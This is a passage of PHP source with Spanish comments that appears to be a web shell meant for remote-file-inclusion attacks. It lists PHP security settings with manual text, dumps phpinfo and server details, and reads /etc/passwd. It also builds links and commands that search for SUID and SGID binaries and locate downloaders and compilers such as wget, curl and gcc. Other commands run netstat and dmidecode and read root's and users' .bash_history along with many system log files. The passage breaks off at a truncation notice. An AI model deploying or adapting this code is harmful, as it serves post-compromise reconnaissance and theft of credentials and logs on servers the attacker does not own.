  305. $functions[]=leerconfig('open_basedir',' Limit the files that can be opened by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. All symbolic links are resolved, so it&#039;s not possible to avoid this restriction with a symlink. If the file doesn&#039;t exist then the symlink couldn&#039;t be resolved and the filename is compared to (a resolved) open_basedir. The special value . indicates that the working directory of the script will be used as the base-directory. This is, however, a little dangerous as the working directory of the script can easily be changed with chdir(). In httpd.conf, open_basedir can be turned off (e.g. for some virtual hosts) the same way as any other configuration directive with &quot;php_admin_value open_basedir none&quot;. Under Windows, separate the directories with a semicolon. On all other systems, separate the directories with a colon. As an Apache module, open_basedir paths from parent directories are now automatically inherited. The restriction specified with open_basedir is actually a prefix, not a directory name. This means that &quot;open_basedir = /dir/incl&quot; also allows access to &quot;/dir/include&quot; and &quot;/dir/incls&quot; if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: open_basedir = /dir/incl/ The default is to allow all files to be opened. Note: As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/ in php.ini a script can tighten the configuration to /www/tmp/ at run-time with ini_set() ');
  306. $functions[]=leerconfig('disable_functions',' This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf. ');
  307. $functions[]=leerconfig('disable_classes',' This directive allows you to disable certain classes for security reasons. It takes on a comma-delimited list of class names. disable_classes is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf. ');
  308. //errores http://ar2.php.net/manual/en/errorfunc.configuration.php
  309. $functions[]=array("<h2>Errores</h2>",'<a href="http://ar2.php.net/manual/en/errorfunc.configuration.php">http://ar2.php.net/manual/en/errorfunc.configuration.php</a>');
  310. $functions[]=leerconfig('log_errors',' Tells whether script error messages should be logged to the server&#039;s error log or error_log. This option is thus server-specific. Note: You&#039;re strongly advised to use error logging in place of error displaying on production web sites. ');
  311. $functions[]=leerconfig('log_errors_max_len',' Set the maximum length of log_errors in bytes. In error_log information about the source is added. The default is 1024 and 0 allows to not apply any maximum length at all. This length is applied to logged errors, displayed errors and also to $php_errormsg. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  312. $functions[]=leerconfig('error_log',' Name of the file where script errors should be logged. The file should be writable by the web server&#039;s user. If the special value syslog is used, the errors are sent to the system logger instead. On Unix, this means syslog(3) and on Windows NT it means the event log. The system logger is not supported on Windows 95. See also: syslog(). If this directive is not set, errors are sent to the SAPI error logger. For example, it is an error log in Apache or stderr in CLI.');
  313. $functions[]=leerconfig('error_reporting',' Set the error reporting level. The parameter is either an integer representing a bit field, or named constants. The error_reporting levels and constants are described in Predefined Constants, and in php.ini. To set at runtime, use the error_reporting() function. See also the display_errors directive. In PHP 4 and PHP 5 the default value is E_ALL & ~E_NOTICE. This setting does not show E_NOTICE level errors. You may want to show them during development. ');
  314. //Nucleo http://ar2.php.net/manual/en/ini.core.php
  315. $functions[]=array("<h2>Lenguaje</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  316. $functions[]=leerconfig('short_open_tag',' Tells whether the short form (&lt;? ?&gt; ) of PHP&#039;s open tag should be allowed. If you want to use PHP in combination with XML, you can disable this option in order to use &lt;?xml ?&gt; inline. Otherwise, you can print it with PHP, for example: &lt;?php echo &#039;&lt;?xml version=&quot;1.0&quot;?&gt;&#039;; ?&gt; . Also if disabled, you must use the long form of the PHP open tag (&lt;?php ?&gt; ). Note: This directive also affects the shorthand &lt;?= , which is identical to &lt;? echo . Use of this shortcut requires short_open_tag to be on. ');
  317. $functions[]=leerconfig('asp_tags',' Enables the use of ASP-like &lt;% %&gt; tags in addition to the usual &lt;?php ?&gt; tags. This includes the variable-value printing shorthand of &lt;%= $value %&gt;. For more information, see Escaping from HTML. ');
  318. //Limite de recursos http://ar2.php.net/manual/en/ini.core.php
  319. $functions[]=array("<h2>Limite de recursos</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  320. $functions[]=leerconfig('memory_limit',' This sets the maximum amount of memory in bytes that a script is allowed to allocate. This helps prevent poorly written scripts for eating up all available memory on a server. Note that to have no memory limit, set this directive to -1. Prior to PHP 5.2.1, in order to use this directive it had to be enabled at compile time by using -enable-memory-limit in the configure line. This was also required to define the functions memory_get_usage() and memory_get_peak_usage(). When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  321. //Manejo de datos http://ar2.php.net/manual/en/ini.core.php
  322. $functions[]=array("<h2>Manejo de datos</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  323. $functions[]=leerconfig('register_globals',' Whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables. As of ť PHP 4.2.0, this directive defaults to off. Please read the security chapter on Using register_globals for related information. Please note that register_globals cannot be set at runtime (ini_set()). Although, you can use .htaccess if your host allows it as described above. An example .htaccess entry: php_flag register_globals off . Note: register_globals is affected by the variables_order directive. ');
  324. $functions[]=leerconfig('post_max_size','Sets max size of post data allowed. This setting also affects file upload. To upload large files, this value must be larger than upload_max_filesize. If memory limit is enabled by your configure script, memory_limit also affects file uploading. Generally speaking, memory_limit should be larger than post_max_size . When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. If the size of post data is greater than post_max_size, the $_POST and $_FILES superglobals are empty. This can be tracked in various ways, e.g. by passing the $_GET variable to the script processing the data, i.e. &lt;form action=&quot;edit.php?processed=1&quot;&gt;, and then checking if $_GET[&#039;processed&#039;] is set.');
  325. $functions[]=leerconfig('gpc_order',' Set the order of GET/POST/COOKIE variable parsing. The default setting of this directive is "GPC". Setting this to "GP", for example, will cause PHP to completely ignore cookies and to overwrite any GET method variables with POST-method variables of the same name. Note: This option is not available in PHP 4. Use variables_order instead. ');
  326. $functions[]=leerconfig('auto_prepend_file',' Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require() function, so include_path is used. The special value none disables auto-prepending.');
  327. $functions[]=leerconfig('auto_append_file',' Specifies the name of a file that is automatically parsed after the main file. The file is included as if it was called with the require() function, so include_path is used. The special value none disables auto-appending. Note: If the script is terminated with exit(), auto-append will not occur. ');
  328. $functions[]=leerconfig('default_charset',' As of 4.0.0, PHP always outputs a character encoding by default in the Content-type: header. To disable sending of the charset, simply set it to be empty. ');
  329. $functions[]=leerconfig('allow_webdav_methods',' Allow handling of WebDAV http requests within PHP scripts (eg. PROPFIND, PROPPATCH, MOVE, COPY, etc.). This directive does not exist as of PHP 4.3.2. If you want to get the post data of those requests, you have to set always_populate_raw_post_data as well. ');
  330. //Rutas y carpetas http://ar2.php.net/manual/en/ini.core.php
  331. $functions[]=array("<h2>Rutas y carpetas</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  332. $functions[]=leerconfig('include_path',' Specifies a list of directories where the require(), include(), fopen(), file(), readfile() and file_get_contents() functions look for files. The format is like the system&#039;s PATH environment variable: a list of directories separated with a colon in Unix or semicolon in Windows. ');
  333. $functions[]=leerconfig('doc_root',' PHP&#039;s &quot;root directory&quot; on the server. Only used if non-empty. If PHP is configured with safe mode, no files outside this directory are served. If PHP was not compiled with FORCE_REDIRECT, you should set doc_root if you are running PHP as a CGI under any web server (other than IIS). The alternative is to use the cgi.force_redirect configuration below. ');
  334. $functions[]=leerconfig('user_dir',' The base name of the directory used on a user&#039;s home directory for PHP files, for example public_html.');
  335. $functions[]=leerconfig('extension_dir',' In what directory PHP should look for dynamically loadable extensions. See also: enable_dl, and dl(). ');
  336. $functions[]=leerconfig('extension',' Which dynamically loadable extensions to load when PHP starts up.');
  337. $functions[]=leerconfig('zend_extension',' Absolute path to dynamically loadable Zend extension (for example APD) to load when PHP starts up. ');
  338. $functions[]=leerconfig('zend_extension_debug',' Variant of zend_extension for extensions compilled with debug info. ');
  339. $functions[]=leerconfig('zend_extension_debug_ts',' Variant of zend_extension for extensions compilled with debug info and thread safety. ');
  340. $functions[]=leerconfig('zend_extension_ts',' Variant of zend_extension for extensions compilled with thread safety. ');
  341. $functions[]=leerconfig('cgi.force_redirect',' cgi.force_redirect is necessary to provide security running PHP as a CGI under most web servers. Left undefined, PHP turns this on by default. You can turn it off at your own risk. Note: Windows Users: You can safely turn this off for IIS, in fact, you must. To get OmniHTTPD or Xitami to work you must turn it off. ');
  342. //Subida de archivos http://ar2.php.net/manual/en/ini.core.php
  343. $functions[]=array("<h2>Subida de archivos</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  344. $functions[]=leerconfig('file_uploads',' Whether or not to allow HTTP file uploads. See also the upload_max_filesize, upload_tmp_dir, and post_max_size directives. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  345. $functions[]=leerconfig('upload_tmp_dir','The temporary directory used for storing files when doing file upload. Must be writable by whatever user PHP is running as. If not specified PHP will use the system&#039;s default. ');
  346. $functions[]=leerconfig('upload_max_filesize',' The maximum size of an uploaded file. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  347. //SQL http://ar2.php.net/manual/en/ini.core.php
  348. $functions[]=array("<h2>SQL</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  349. $functions[]=leerconfig('sql.safe_mode','If turned on, database connect functions that specify default values will use those values in place of supplied arguments. For default values see connect function documentation for the relevant database. ');
  350. //Ejecución http://ar2.php.net/manual/en/info.configuration.php
  351. $functions[]=array("<h2>Ejecuci&oacute;n</h2>",'<a href="http://ar2.php.net/manual/en/info.configuration.php">http://ar2.php.net/manual/en/info.configuration.php</a>, <a href="http://ar2.php.net/manual/en/filesystem.configuration.php">http://ar2.php.net/manual/en/filesystem.configuration.php</a>');
  352. $functions[]=leerconfig('enable_dl',' This directive is really only useful in the Apache module version of PHP. You can turn dynamic loading of PHP extensions with dl() on and off per virtual server or per directory. The main reason for turning dynamic loading off is security. With dynamic loading, it&#039;s possible to ignore all open_basedir restrictions. The default is to allow dynamic loading, except when using safe mode. In safe mode, it&#039;s always impossible to use dl().');
  353. $functions[]=leerconfig('max_execution_time',' This sets the maximum time in seconds a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server. The default setting is 30. When running PHP from the command line the default setting is 0. The maximum execution time is not affected by system calls, stream operations etc. Please see the set_time_limit() function for more details. You can not change this setting with ini_set() when running in safe mode. The only workaround is to turn off safe mode or by changing the time limit in the php.ini. Your web server can have other timeout configurations that may also interrupt PHP execution. Apache has a Timeout directive and IIS has a CGI timeout function. Both default to 300 seconds. See your web server documentation for specific details.');
  354. $functions[]=leerconfig('magic_quotes_gpc',' Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all &#039; (single-quote), &quot; (double quote), \ (backslash) and NUL&#039;s are escaped with a backslash automatically. Note: In PHP 4, also $_ENV variables are escaped. Note: If the magic_quotes_sybase directive is also ON it will completely override magic_quotes_gpc. Having both directives enabled means only single quotes are escaped as &#039;&#039;. Double quotes, backslashes and NUL&#039;s will remain untouched and unescaped. ');
  355. $functions[]=leerconfig('magic_quotes_runtime','If magic_quotes_runtime is enabled, most functions that return data from any sort of external source including databases and text files will have quotes escaped with a backslash. If magic_quotes_sybase is also on, a single-quote is escaped with a single-quote instead of a backslash. ');
  356. $functions[]=leerconfig('allow_url_fopen',' This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This setting can only be set in php.ini due to security reasons. Note: This option was introduced immediately after the release of version 4.0.3. For versions up to and including 4.0.3 you can only disable this feature at compile time by using the configuration switch --disable-url-fopen-wrapper . ');
  357. $functions[]=leerconfig('allow_url_include',' This option allows the use of URL-aware fopen wrappers with the following functions: include(), include_once(), require(), require_once(). Note: This setting requires allow_url_fopen to be on. ');
  358. $functions[]=leerconfig('default_socket_timeout',' Default timeout (in seconds) for socket based streams. Note: This configuration option was introduced in PHP 4.3.0 ');
  359. /* Mostramos el titulo */
  360. echo '<div style="text-align:center;">
  361. <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
  362. </div>';
  363. /* Mostramos toda la información del array */
  364. foreach ($functions as $funcion){
  365. echo $funcion[0].' =&gt; '.$funcion[1].'<br>'."\n";
  366. }
  367. break;
  368. /* PHPInfo */
  369. case "phpinfo":
  370. /* Mostramos el titulo */
  371. echo '<div style="text-align:center;">
  372. <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
  373. </div>';
  374. /* Este div tiene un estilo unico para el phpinfo */
  375. echo '<div id="phpinfo">';
  376. /* All your phpinfo() are belog to us */
  377. ob_flush();
  378. ob_start();
  379. phpinfo();
  380. $phpinfo = ob_get_clean();
  381. // Eliminamos un pedazo de html que agrega el phpinfo para que no quede duplicado
  382. $phpinfo = str_replace('</body></html>','',substr($phpinfo,strpos($phpinfo,'<body>')+6));
  383. ob_end_clean();
  384. echo $phpinfo.'</div>';
  385. break;
  386. /* Mas informacion */
  387. case "info":
  388. /* Mostramos el titulo */
  389. echo '<div style="text-align:center;">
  390. <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
  391. </div>';
  392. $ruta = getcwd() or '/';
  393. if((!ini_get("safe_mode")) or (strtolower(ini_get("safe_mode"))=="off")){
  394. $safemode = "No";
  395. }else{
  396. $safemode = "Si";
  397. }
  398. echo 'Ubicaci&oacute;n: '.htmlentities(__FILE__, ENT_QUOTES, 'UTF-8').'<br>
  399. Libre: '.htmlentities(decodeSize(disk_free_space($ruta)).' / '.decodeSize(disk_total_space($ruta)), ENT_QUOTES, 'UTF-8').'<br>
  400. Safe_mode: '.$safemode.'<br>
  401. Funciones desactivadas: '.htmlentities(ini_get("disable_functions"), ENT_QUOTES, 'UTF-8').'<br>
  402. PHP: '.htmlentities(phpversion(), ENT_QUOTES, 'UTF-8').'<br>
  403. Zend: '.htmlentities(zend_version(), ENT_QUOTES, 'UTF-8').'<br>
  404. <br>
  405. IP: '.htmlentities($_SERVER['SERVER_ADDR'], ENT_QUOTES, 'UTF-8').'<br>
  406. Puerto: '.htmlentities($_SERVER['SERVER_PORT'], ENT_QUOTES, 'UTF-8').'<br>
  407. Servidor: '.htmlentities($_SERVER['SERVER_NAME'], ENT_QUOTES, 'UTF-8').'<br>
  408. Software del servidor: '.htmlentities($_SERVER['SERVER_SOFTWARE'], ENT_QUOTES, 'UTF-8').'<br>
  409. Uname: '.htmlentities(php_uname(), ENT_QUOTES, 'UTF-8').'<br>
  410. <br>
  411. ';
  412. $usuarios = explode("\n",leerarchivo("/etc/passwd"));
  413. /*Esta es la lista de cosas a mostrar
  414. Si empieza con > es un titulo
  415. Si empieza con < es un comando
  416. Si no, es un archivo */
  417. $comandos =
  418. '><a href="'.$rfiurl.'w=shell&comando=find%20%2F%20-type%20f%20-perm%20-04000%20-ls ">Ver archivos con SUID</a>
  419. ><a href="'.$rfiurl.'w=shell&comando=find%20%2F%20-type%20f%20-perm%20-02000%20-ls ">Ver archivos con SGID</a>
  420. >Memoria
  421. <free -m
  422. >Discos / Particiones
  423. <df -h
  424. <mount
  425. /etc/fstab
  426. >Ejecutables
  427. <whereis curl
  428. <whereis lynx
  429. <whereis links
  430. <whereis apache
  431. <whereis php
  432. <whereis ruby
  433. <whereis mysql
  434. <whereis wget
  435. <whereis perl
  436. <whereis python
  437. <whereis gcc
  438. <whereis apt-get
  439. <whereis aptitude
  440. <whereis yum
  441. <whereis pacman
  442. >Version
  443. <sysctl -a | egrep "ostype |osrelease |version |hostname |domainname "|grep kernel.
  444. /proc/version
  445. /etc/issue.net
  446. /etc/issue
  447. /etc/motd
  448. /etc/lsb-release
  449. >Conexiones
  450. <netstat -pa
  451. >Hardware
  452. /proc/cpuinfo
  453. <dmidecode
  454. >Logs
  455. /root/.bash_history
  456. '.archivosdeusuarios("/.bash_history").'
  457. '.archivosdeusuarios("/public_html/.bash_history").'
  458. /var/log/pure-ftpd/pure-ftpd.log
  459. /logs/pure-ftpd.log
  460. /var/log/pureftpd.log
  461. /var/log/ftp-proxy/ftp-proxy.log
  462. /var/log/ftp-proxy
  463. /var/log/ftplog
  464. /etc/logrotate.d/ftp
  465. /etc/ftpchroot
  466. /etc/ftphosts
  467. /usr/lib/security/mkuser.default
  468. /var/cpanel/accounting.log
  469. /var/adm/SYSLOG
  470. /var/adm/sulog
  471. /var/adm/utmp
  472. /var/adm/utmpx
  473. /var/adm/wtmp
  474. /var/adm/wtmpx
  475. /var/adm/lastlog/username
  476. /usr/spool/lp/log
  477. /var/adm/lp/lpd-errs
  478. /usr/lib/cron/log
  479. /var/adm/loginlog
  480. /var/adm/pacct
  481. /var/adm/dtmp
  482. /var/adm/acct/sum/loginlog
  483. /var/adm/X0msgs
  484. /var/adm/crash/vmcore
  485. /var/adm/crash/unix
  486. /var/adm/pacct
  487. /var/adm/wtmp
  488. /var/adm/dtmp
  489. /var/adm/qacct
  490. /var/adm/sulog
  491. /var/adm/ras/er

Large files files are truncated, but you can click here to view the full file